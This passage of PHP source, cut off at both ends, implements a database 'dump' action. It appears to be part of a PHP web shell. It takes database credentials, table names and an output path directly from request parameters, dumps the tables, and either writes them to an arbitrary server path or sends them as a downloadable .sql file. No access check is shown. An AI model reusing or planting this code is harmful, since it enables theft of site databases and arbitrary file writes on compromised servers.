$dbuser = isset($P['dbuser']) ? $P['dbuser'] : '';
 $dbpass = isset($P['dbpass']) ? $P['dbpass'] : '';
 $dbname = isset($P['dbname']) ? $P['dbname'] : '';
 $tablename = isset($P['tablename']) ? $P['tablename'] : '';
 if ($doing == 'dump') {
     if (isset($P['bak_table']) && $P['bak_table']) {
         $DB = new DB_MySQL();
         $DB->charsetdb = $charsetdb;
         $DB->charset = $charset;
         $DB->connect($dbhost, $dbuser, $dbpass, $dbname);
         if ($P['saveasfile'] && $P['bak_path']) {
             $fp = @fopen($P['bak_path'], 'w');
             if ($fp) {
                 foreach ($P['bak_table'] as $k => $v) {
                     if ($v) {
                         $DB->sqldump($v, $fp);
                     }
                 }
                 fclose($fp);
                 $fileurl = str_replace(SA_ROOT, '', $P['bak_path']);
                 m('Database has backup to <a href="' . $fileurl . '" target="_blank">' . $P['bak_path'] . '</a>');
             } else {
                 m('Backup failed');
             }
         } else {
             @ob_end_clean();
             $filename = basename($dbname . '.sql');
             header('Content-type: application/unknown');
             header('Content-Disposition: attachment; filename=' . $filename);
             foreach ($P['bak_table'] as $k => $v) {
                 if ($v) {